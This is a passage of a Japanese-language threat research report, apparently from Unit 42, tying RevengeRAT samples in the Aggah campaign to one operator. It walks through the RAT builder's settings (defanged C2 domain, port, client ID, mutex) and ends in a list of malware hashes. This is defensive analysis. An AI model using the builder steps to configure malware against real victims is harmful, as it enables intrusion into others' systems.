id=\"attachment_101428\" aria-describedby=\"caption-attachment-101428\" style=\"width: 750px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101428 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-201.png\" alt=\"\u56f314.RevengeRAT\u30d3\u30eb\u30c0\u30fc\u3067\u306e\u300cSocket Key(\u30bd\u30b1\u30c3\u30c8 \u30ad\u30fc)\u300d\u306e\u8a2d\u5b9a\" width=\"750\" height=\"368\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-201.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-201-300x147.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-201-370x182.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-101428\" class=\"wp-caption-text\">\u56f314.RevengeRAT\u30d3\u30eb\u30c0\u30fc\u3067\u306e\u300cSocket Key(\u30bd\u30b1\u30c3\u30c8 \u30ad\u30fc)\u300d\u306e\u8a2d\u5b9a<em style=\"font-size: 16px;\">\u00a0<\/em><\/figcaption><\/figure>\n<p>\u30b5\u30fc\u30d0\u30fc\u304c\u8a2d\u5b9a\u3055\u308c\u30ea\u30b9\u30cb\u30f3\u30b0\u3092\u958b\u59cb\u3059\u308b\u3068\u3001\u56f315\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u653b\u6483\u8005\u306f\u300cClient Builder(\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30d3\u30eb\u30c0\u30fc)\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u3001RevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101430\" aria-describedby=\"caption-attachment-101430\" style=\"width: 750px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101430 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-202.png\" alt=\"\u56f315.RevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30d3\u30eb\u30c0\u30fc\" width=\"750\" height=\"431\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-202.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-202-300x172.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-202-370x213.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-101430\" class=\"wp-caption-text\">\u56f315.RevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30d3\u30eb\u30c0\u30fc<em style=\"font-size: 16px;\">\u00a0<\/em><\/figcaption><\/figure>\n<p>\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30d3\u30eb\u30c0\u30fc\u3067\u3001\u56f316\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u653b\u6483\u8005\u306f\u300cNetwork Settings(\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u8a2d\u5b9a)\u300d\u30c9\u30ed\u30c3\u30d7\u30c0\u30a6\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u3001\u30c9\u30e1\u30a4\u30f3\"lulla.duckdns[.]org\"\u3068TCP\u30dd\u30fc\u30c82336\u3092\u5165\u529b\u3057\u3066\u304b\u3089\u3001\u8ffd\u52a0\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101432\" aria-describedby=\"caption-attachment-101432\" style=\"width: 750px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101432 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-203.png\" alt=\"\u56f316.RevengeRAT\u306e\u300cNetwork Settings(\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u8a2d\u5b9a)\u300d\u306e\u8a2d\u5b9a\" width=\"750\" height=\"431\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-203.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-203-300x172.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-203-370x213.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-101432\" class=\"wp-caption-text\">\u56f316.RevengeRAT\u306e\u300cNetwork Settings(\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u8a2d\u5b9a)\u300d\u306e\u8a2d\u5b9a<\/figcaption><\/figure>\n<p>\u305d\u306e\u5f8c\u3001\u653b\u6483\u8005\u306f\u300cBasic Settings(\u57fa\u672c\u8a2d\u5b9a)\u300d\u30c9\u30ed\u30c3\u30d7\u30c0\u30a6\u30f3\u3067\u3001\u9078\u629e\u3057\u305fID \"HOTEIS NOVOS\"\u3092\u300cClient Identifier(\u30af\u30e9\u30a4\u30a2\u30f3\u30c8ID)\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u5165\u529b\u3057\u3001\"-WindowsUpdateSysten32\"\u3092\u300cClient Mutex(\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9)\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u8ffd\u52a0\u3057\u307e\u3059(\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u3059\u3067\u306b\"RV_MUTEX\"\u304c\u5165\u3063\u3066\u3044\u308b\u305f\u3081)\u3002\u56f317\u306f\u3001\u6b63\u3057\u3044\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u8ffd\u52a0\u3055\u308c\u305f\u3053\u308c\u3089\u306e\u5024\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3053\u3067\u7279\u306b\u8208\u5473\u6df1\u3044\u70b9\u306f\u3001\u653b\u6483\u8005\u304c\u3001\u3053\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306e\u96a3\u306b\u3042\u308b\u30d7\u30e9\u30b9(\"+\")\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3057\u3066\u30cf\u30a4\u30d5\u30f3\u3068\u30e9\u30f3\u30c0\u30e0\u306a\u6587\u5b57\u5217\u3092\u9023\u7d50\u3059\u308b\u306e\u3067\u306f\u306a\u304f\u3001\u6587\u5b57\u5217\"-WindowsUpdateSysten32\"\u3092\u624b\u4f5c\u696d\u3067\u5165\u529b\u3057\u3066\u3044\u308b\u3053\u3068\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_101434\" aria-describedby=\"caption-attachment-101434\" style=\"width: 750px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101434 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-204.png\" alt=\"\u56f317.RevengeRAT\u306e\u300cBasic Settings(\u57fa\u672c\u8a2d\u5b9a)\u300d\u306e\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\" width=\"750\" height=\"437\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-204.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-204-300x175.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-204-370x216.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-101434\" class=\"wp-caption-text\">\u56f317.RevengeRAT\u306e\u300cBasic Settings(\u57fa\u672c\u8a2d\u5b9a)\u300d\u306e\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7<\/figcaption><\/figure>\n<p>\u6700\u5f8c\u306b\u3001\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3059\u308b\u305f\u3081\u306b\u3001\u653b\u6483\u8005\u306f\u56f318\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u30b5\u30fc\u30d3\u30b9\u5229\u7528\u898f\u7d04\u306b\u540c\u610f\u3057\u3001\u300cCompile(\u30b3\u30f3\u30d1\u30a4\u30eb)\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101436\" aria-describedby=\"caption-attachment-101436\" style=\"width: 750px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101436 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-205.png\" alt=\"\u56f318.RevengeRAT\u3067\u306e\u30b3\u30f3\u30d1\u30a4\u30eb\u306e\u958b\u59cb\" width=\"750\" height=\"431\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-205.png 750w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-205-300x172.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-205-370x213.png 370w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><figcaption id=\"caption-attachment-101436\" class=\"wp-caption-text\">\u56f318.RevengeRAT\u3067\u306e\u30b3\u30f3\u30d1\u30a4\u30eb\u306e\u958b\u59cb<\/figcaption><\/figure>\n<p>\u300cCompile(\u30b3\u30f3\u30d1\u30a4\u30eb)\u300d\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u3059\u308b\u3068\u3001RevengeRAT\u30b5\u30fc\u30d0\u30fc\u304c\"Client.exe\"\u3068\u3044\u3046\u30c7\u30d5\u30a9\u30eb\u30c8\u540d\u306e\u30af\u30e9\u30a4\u30a2\u30f3\u30c8\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u3001\u305d\u306e\u653b\u6483\u3067\u914d\u4fe1\u3059\u308b\u524d\u306b\u3001\u305d\u308c\u3092\u30b7\u30b9\u30c6\u30e0\u306b\u4fdd\u5b58\u3067\u304d\u307e\u3059\u3002\u56f319\u306f\u3001\u30c7\u30b9\u30af\u30c8\u30c3\u30d7\u4e0a\u306eRevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30a2\u30a4\u30b3\u30f3\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101438\" aria-describedby=\"caption-attachment-101438\" style=\"width: 204px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101438 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-206.png\" alt=\"\u56f319.RevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30a2\u30a4\u30b3\u30f3\" width=\"204\" height=\"237\" \/><figcaption id=\"caption-attachment-101438\" class=\"wp-caption-text\">\u56f319.RevengeRAT\u30af\u30e9\u30a4\u30a2\u30f3\u30c8 \u30a2\u30a4\u30b3\u30f3<\/figcaption><\/figure>\n<p>\u56f316\u3068\u56f317\u306b\u898b\u3089\u308c\u308b\u30b3\u30f3\u30d1\u30a4\u30eb\u3055\u308c\u305f\"Client.exe\"\u5185\u306e\u8a2d\u5b9a\u306f\u3001\u56f37\u3068\u56f38\u3067\u793a\u3057\u305f\u3068\u304a\u308a\u3001Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067Pastebin\u304b\u3089\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305fRevengeRAT\u306e\u8a2d\u5b9a\u3068\u8996\u899a\u7684\u306b\u4e00\u81f4\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u95a2\u4e0e\u3057\u305f\u653b\u6483\u8005\u304c\u3001\u305d\u308c\u3089\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u540c\u69d8\u306e\u624b\u9806\u306b\u5f93\u3063\u305f\u3053\u3068\u3092\u793a\u5506\u3057\u3066\u3044\u307e\u3059\u3002\u540c\u3058\u30af\u30e9\u30a4\u30a2\u30f3\u30c8ID\u3068\u30bd\u30b1\u30c3\u30c8 \u30ad\u30fc\u3092\u5171\u6709\u3059\u308bRevengeRAT\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u5b9f\u884c\u3055\u308c\u305f\u4e00\u9023\u306e\u624b\u9806\u306f\u3001\u9ad8\u3044\u78ba\u7387\u3067\u3001\u5171\u901a\u306e\u653b\u6483\u8005\u304c\u95a2\u4e0e\u3057\u305f\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2>\u7d50\u8ad6<\/h2>\n<p>\u5f53\u521d\u3001\u5f0a\u793e\u306e\u30c6\u30ec\u30e1\u30c8\u30ea\u306b\u3088\u308b\u3068\u3001\u3053\u308c\u306f\u4e2d\u6771\u306e\u3042\u308b\u56fd\u306e\u7d44\u7e54\u306b\u304b\u306a\u308a\u7684\u3092\u7d5e\u3063\u3066\u3044\u308b\u3088\u3046\u306b\u601d\u308f\u308c\u307e\u3057\u305f\u3002\u3057\u304b\u3057\u306a\u304c\u3089\u3001\u3055\u3089\u306b\u5206\u6790\u3057\u305f\u7d50\u679c\u3001\u3053\u308c\u306f\u3001\u7c73\u56fd\u3001\u6b27\u5dde\u3001\u30a2\u30b8\u30a2\u3092\u542b\u3081\u3001\u305d\u308c\u3089\u306b\u9650\u5b9a\u3055\u308c\u305a\u3001\u591a\u304f\u306e\u5730\u57df\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3059\u3088\u3046\u306a\u3001\u3088\u308a\u5927\u898f\u6a21\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u3054\u304f\u5c0f\u3055\u306a\u90e8\u5206\u3067\u3042\u308b\u3068\u8003\u3048\u3089\u308c\u307e\u3057\u305f\u3002\u6b8b\u5ff5\u306a\u304c\u3089\u3001\u5f0a\u793e\u306e\u73fe\u5728\u306e\u30c7\u30fc\u30bf \u30bb\u30c3\u30c8\u3067\u306f\u3001\u591a\u6570\u306e\u88ab\u5bb3\u7aef\u672b\u306b\u4fb5\u5bb3\u3059\u308b\u4ee5\u5916\u306e\u653b\u6483\u8005\u306e\u52d5\u6a5f\u306b\u5bfe\u3059\u308b\u6d1e\u5bdf\u306f\u5f97\u3089\u308c\u3066\u3044\u307e\u305b\u3093\u3002<\/p>\n<p>\u3053\u306e\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u591a\u304f\u306f\u884c\u52d5\u7684\u306b\u898b\u3066\u3001Gorgon Group\u306e\u72af\u7f6a\u6d3b\u52d5\u306b\u6f5c\u5728\u7684\u306b\u95a2\u9023\u3057\u3066\u3044\u308b\u3088\u3046\u306b\u307f\u3048\u307e\u3059\u304c\u3001\u73fe\u5728\u306e\u3068\u3053\u308d\u660e\u78ba\u306b\u306f\u306a\u3063\u3066\u304a\u3089\u305a\u3001\u8a3c\u660e\u3059\u308b\u306b\u306f\u3055\u3089\u306b\u5206\u6790\u3059\u308b\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<a href=\"https:\/\/unit42.paloaltonetworks.com\/operation-comando-or-how-to-run-a-cheap-and-effective-credit-card-business\/\">Unit 42<\/a>\u3068<a href=\"https:\/\/blog.yoroi.company\/research\/the-enigmatic-roma225-campaign\/\">Yoroi<\/a>\u306f\u53cc\u65b9\u3068\u3082\u3001\u6700\u8fd1\u3001\u985e\u4f3c\u306e\u30d6\u30ed\u30b0\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u3069\u3061\u3089\u3082\u985e\u4f3c\u3057\u305f\u7b56\u7565\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u304c\u3001Gorgon Group\u3068\u306e\u95a2\u9023\u306b\u3064\u3044\u3066\u306f\u4fe1\u983c\u5ea6\u306e\u9ad8\u3044\u8a55\u4fa1\u306f\u3055\u308c\u3066\u3044\u307e\u305b\u3093\u3002Gorgon Group\u3068\u306e\u660e\u78ba\u306a\u3064\u306a\u304c\u308a\u306f\u5b9a\u304b\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u304c\u3001\u5f0a\u793e\u3067\u306f\u3001\u5171\u901a\u306e\u30aa\u30da\u30ec\u30fc\u30bf\u304c\u3053\u306e\u30d6\u30ed\u30b0\u3067\u8aac\u660e\u3057\u305f\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306b\u95a2\u4e0e\u3057\u305f\u53ef\u80fd\u6027\u3092\u793a\u3059\u3001\u3053\u308c\u3089\u306eRevengeRAT\u30b5\u30f3\u30d7\u30eb\u306e\u72ec\u81ea\u306e\u8a2d\u5b9a\u306b\u57fa\u3065\u3044\u3066\u305d\u308c\u3092\u8a55\u4fa1\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>RevengeRAT\u306f\u3001\u5927\u91cf\u306b\u898b\u3089\u308c\u308b\u516c\u958b\u3055\u308c\u3066\u3044\u308bRAT\u3067\u3059\u3002\u3053\u306eRAT\u306e\u4e00\u90e8\u306e\u30e6\u30fc\u30b6\u30fc\u306f\u3001\u516c\u958b\u3055\u308c\u3066\u3044\u308b\u6bb5\u968e\u7684\u306a\u30ac\u30a4\u30c9\u306b\u5f93\u3046\u3053\u3068\u304b\u3089\u3001Pastebin\u306a\u3069\u306eC2\u30b5\u30dd\u30fc\u30c8\u7528\u306e\u4ee3\u66ff\u306e\u683c\u7d0d\u5148\u3092\u6d3b\u7528\u3059\u308b\u65b9\u6cd5\u306b\u304a\u3044\u3066\u591a\u5c11\u7cbe\u5de7\u5316\u3059\u308b\u65b9\u5411\u306b\u79fb\u884c\u3057\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u624b\u6cd5\u306e\u5909\u5316\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 \u30c7\u30d0\u30a4\u30b9\u306b\u3088\u308a\u30d6\u30ed\u30c3\u30af\u3055\u308c\u306b\u304f\u3044\u6b63\u898f\u306e\u30b5\u30fc\u30d3\u30b9\u306e\u80cc\u5f8c\u306b\u96a0\u308c\u308b\u3053\u3068\u3067\u3001\u30aa\u30da\u30ec\u30fc\u30bf\u306b\u306f\u5f79\u7acb\u3064\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u3002<\/p>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u3053\u308c\u3089\u306e\u30aa\u30da\u30ec\u30fc\u30bf\u304b\u3089\u4ee5\u4e0b\u306b\u793a\u3059\u65b9\u6cd5\u3067\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<ul>\n<li>AutoFocus: \u304a\u5ba2\u69d8\u306f\u3001\u73fe\u5728\u3001\u4ee5\u4e0b\u306e\u30bf\u30b0\u3092\u4f7f\u7528\u3057\u3066\u3001\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u6d3b\u52d5\u3092\u8ffd\u8de1\u3067\u304d\u307e\u3059\u3002<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.Aggah\">Aggah<\/a>\u3001<a href=\"https:\/\/autofocus.paloaltonetworks.com\/#\/tag\/Unit42.RevengeRAT\">RevengeRAT<\/a><\/li>\n<li>WildFire\u304a\u3088\u3073Traps: \u3053\u306e\u30ec\u30dd\u30fc\u30c8\u3067\u60aa\u610f\u306e\u3042\u308b\u3082\u306e\u3068\u3057\u3066\u7279\u5b9a\u3055\u308c\u305f\u3059\u3079\u3066\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u691c\u51fa\u3057\u307e\u3059<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u306e\u30b5\u30f3\u30d7\u30eb\u3068IOC\u3092\u542b\u3081\u3001\u540c\u5fd7\u306e\u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9(CTA)\u30e1\u30f3\u30d0\u30fc\u3068\u306e\u9593\u3067\u3001\u5f0a\u793e\u306e\u6240\u898b\u3092\u3053\u306e\u30ec\u30dd\u30fc\u30c8\u3067\u5171\u6709\u3057\u307e\u3059\u3002CTA\u306e\u30e1\u30f3\u30d0\u30fc\u306f\u3001\u81ea\u8eab\u306e\u304a\u5ba2\u69d8\u306b\u5bfe\u3059\u308b\u4fdd\u8b77\u3092\u8fc5\u901f\u306b\u5c0e\u5165\u3057\u3001\u60aa\u610f\u306e\u3042\u308b\u30b5\u30a4\u30d0\u30fc\u653b\u6483\u8005\u3092\u7d44\u7e54\u7684\u306b\u963b\u6b62\u3059\u308b\u305f\u3081\u306b\u3053\u306e\u60c5\u5831\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u30b5\u30a4\u30d0\u30fc\u8105\u5a01\u30a2\u30e9\u30a4\u30a2\u30f3\u30b9\u306e\u8a73\u7d30\u306b\u3064\u3044\u3066\u306f\u3001www.cyberthreatalliance.org\u3092\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<h2>\u4ed8\u9332A:<\/h2>\n<h3>IOC<\/h3>\n<h4><strong>\u60aa\u610f\u306e\u3042\u308b\u6587\u66f8\u3068\u30da\u30a4\u30ed\u30fc\u30c9<\/strong><\/h4>\n<ul>\n<li>6101f3210638a6068a9d40077f958e8d8a99ffed686a48426784f368e0ac021b<\/li>\n<li>89d302cfe11c5fdca420d12cc36d58b449f24ee761b822cb8a22497af7e873ba<\/li>\n<li>248456219c1be39f494301a16cae0a4ed9676be8d1155fa8ba5540d223797e97<\/li>\n<li>82e64d2233cd8e755fecfefbd976f6143138f9b33e037f24a25b05fe9abd5620<\/li>\n<li>1eef9ef568703ba6558923ec88cf960ed86086d87488a188709d32827877f528<\/li>\n<li>9b47e150a9259ae7a6df20f070dc9faf9d5a589347f8db8a9f64c64060cb7606<\/li>\n<li>679f1d59116af145f4f7c1a4d1cdb66e4402b0da906a491e09071e8eac696a16<\/li>\n<li>fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569e232a9401<\/li>\n<li>98136bc4323e00f64b63d1035c313bc08fb56af7894ac050b8e9db6961593eef<\/li>\n<li>c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c68380bcd6d30<\/li>\n<li>b9b67c885200f90eaf9c4911b3a7f5e6707bcb51d1b892df1bde11013a60f6b5<\/li>\n<li>ec8ff76234aca351169e7cf4973b8b5d603fa165815107482cbd0d803a829e81<\/li>\n<li>aaabc63bd58fa4b8e2cb79630ea5e24c55f29327cae8ca36aae3219b95100669<\/li>\n<li>c87fb09929159c2dab63d609d7bde992ce979f3545fbe20ddca0a3f263d9603f<\/li>\n<li>abba33bdc8cf21423202b000771ec10d8ab7248f199d8211e53be03c9905b0ed<\/li>\n<li>a4c1a9d4a6be9290a58b282f6b7dc75ebd4d4e3866df4fdab80eac56274aabf1<\/li>\n<li>947ddcefbb1170a6fbd1ba341c773444c1833bedecdb4d6684e05b8555765117<\/li>\n<li>6fe3548e0dc7fb605ee69791b752df0d9f3d8f5db49b2811011ac2a092ab0a28<\/li>\n<li>6def95b2858c043e261b8f4d440abc1436a9dc551906d86a37c5f3331af8cbfc<\/li>\n<li>eacad199f02e26ccdc7a866c18e585f7ee7e2a80ef0325208ddb22b1d059be2f<\/li>\n<li>d2a16840541f905f7bcecf64e2d7dc827f314c4b97daf6e4cc4262fd91fdd14c<\/li>\n<li>61600526307ec08137967b49b230c03ce8a4e1d2f0d58ea2e5d8b2ab3bf92df7<\/li>\n<li>8e6c25f517a69c5da329f858b291b4d146c3fd0dd07c17a1d8a6851cddb347eb<\/li>\n<li>7acd5696306ae7ed8de112f096917487df2d01c2aa66b4b9d2a37ea36b597b1a<\/li>\n<li>2815552fd2f57eba147715331f96387dcb4769d3af816e9db2195e5602fc3a1a<\/li>\n<li>251e3e25584d1a654a395accbcfdb506ec8b9d7039cb3ab725e14415d3c71aad<\/li>\n<li>f5e170571689b393139b9cea484a9683305129ecbf2ab4ebb93fc997ee1d31aa<\/li>\n<li>77a1430cfd728daa7a61e10f3cdc3409104cae1aed65711c8f5ce425c6920cb7<\/li>\n<li>9c8fa4205b2ed8a6f60156bdc39d33a23c6e503cf2f8e69d66bf2980e78bacef<\/li>\n<li>c57ff49bfe21e345c2bde30bc8feb60626f3c7839b1c2e5a1f01b9a567f911d8<\/li>\n<li>8e771cbb12b259d4d12feac34c80e95eb38228dea393d49e0b9cc6f19861847c<\/li>\n<li>abcce639df67279c73f327b2c511183c00ca96555fe481a4ae417bf752c96efa<\/li>\n<li>83d9c57cfc40457b072bdc0e062dd5ca4958a91d8cf3387dbedd99af753da640<\/li>\n<li>5976fca040071eb33ca383412b915e5160133c4e0f8a07bbbaa478ceeee0a890<\/li>\n<li>a5c3c96b655d3115a39875e0303951fef2f2d6119b0af9eaadf57bacfae3f5cb<\/li>\n<li>10d4bd37cd29071186b4ef31341edb79a9ae05c6bc8d26c9850cfeccabb90d1f<\/li>\n<li>89903b38efc7a86da63d547d3d4e3439d64656a030cb289eff4721bc5ada3e13<\/li>\n<li>464f30101630f06013ea65e72b0c043fa1fc83440d9c3367e474d6309d3fe4c9<\/li>\n<li>5e226f1c0729d1fbcf6e074e28009d35e2f6eaa4d4eb0c411892ea56e1299c86<\/li>\n<li>f57fff1b8acdee475b161ec1313452f0fe66077142fc677a63f7914a96890bae<\/li>\n<li>a1879f1f3c2bbb1a4cf8af8e54230c3b0b88c29e37902c88d37ec9d7a1138894<\/li>\n<li>3fa2591b208137d68aa87da931d9cc152a62250b7d26755818f362fa5015a99a<\/li>\n<li>87f43fd2f6c9d1439ceb250e3bd045a07d9a8c214cf17dc66a8c22a3846b6437<\/li>\n<li>4e2997adac5ae57ab92512e5b02e9a5ceb588f287a68387420113ed7b3d347d2<\/li>\n<li>d32f1bd358b97f8f1ae2295c7e8969fab1460d9d54c9528dcfbb42c96a74b31b<\/li>\n<li>f69fff5106fc73672569abc62ad85cfa461c237d9222426db20d6565021c110f<\/li>\n<li>5742ebd53b2b495df0c6bff8ddc17d1726cb8e76e269bd8207b07a0a3ee2b813<\/li>\n<li>d2a2373a386392f72372c9a23b42b43fd2652b6dafce6a6d8d44368ccbfdadb6<\/li>\n<li>b9f74a648b0202109d2c53d68a8474d6eabfefba28bf99a53517ece52da483d5<\/li>\n<li>3088fcd46c51e7ace8aee4e9bfb018aa1d0b0a52fbea62e5ef121e4fe637ebfc<\/li>\n<li>54cba5cfb44379f8a4aac2e1d93d7e8e2ba83afe312d2b1a4f9145846efcd413<\/li>\n<li>00a002607b6e7938292e7ae81ca60d58a091c456ea4343210d4bb610b6edee01<\/li>\n<li>4c29279f341f568056fe9e2ff8bfb2fcaf06b065246329ca9652fcd7986b405d<\/li>\n<li>1d1904dad2df5d677342806cbf1b67b9840d1bc9c85c10928896fcfa91661762<\/li>\n<li>5f762589cdb8955308db4bba140129f172bf2dbc1e979137b6cc7949f7b19e6f<\/li>\n<li>b10519bb52656a09aa146305d8b2ec4aa55f3dba43c633d9de23046798a32a2f<\/li>\n<li>b6db8716bedd23042883f31132fa00b4125c659f2799d239f42105367ff42aec<\/li>\n<li>821e6f3faacb4edafa8ddb60f83a7c8e87845a07ad8d1f8362a7c68cd8a48343<\/li>\n<li>1fd98d66d123d4d0c049b4e1053d22335ef9dcec9fdde398d608c7d7d23ed280<\/li>\n<li>5ca968f9e6a97505abe7c732b5ee573f787b11f294ccbf3a96ae7b77ccce004c<\/li>\n<li>26f5e813e34c05cd1e553224e5c8284ced7fa648d55725416232c24e58546e60<\/li>\n<li>ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914f48c4ef4c<\/li>\n<li>d7c92a8aa03478155de6813c35e84727ac9d383e27ba751d833e5efba3d77946<\/li>\n<li>915535fd77ac89a3a86eca6b3a1f1852f69c141050754f059c094c39a9ee4259<\/li>\n<li>0671a2b4ae1a94edca9f65f7d11199d6526cab1fd53911e114ab772900d8a583<\/li>\n<li>ea3cab2a0b74e30c0d6812e3ef6fcc9e47ea723c98d39fa1e04d5edf03193ff0<\/li>\n<li>de657d3538e96a8d2c74b7c4f8c6fb2e51d67f12d158abfea2964298a722993c<\/li>\n<li>70657b183854550e77633f85d9e63fbf0b01a21131388228985322880b987b9a<\/li>\n<li>bc8a00fddff73accaff5eb5f3a6ca182a5282502d7af054ca9176d2e98a5116a<\/li>\n<li>c3f36883ebf928c8403e068648299b53b09fecb0f56986980319e83f13dc296c<\/li>\n<li>0e5011ee17c5f9bbcad8df4dc2a971fe56346f8ca7ce4e93d25f3b02086c581c<\/li>\n<li>51147c260c18d3e766006ae4f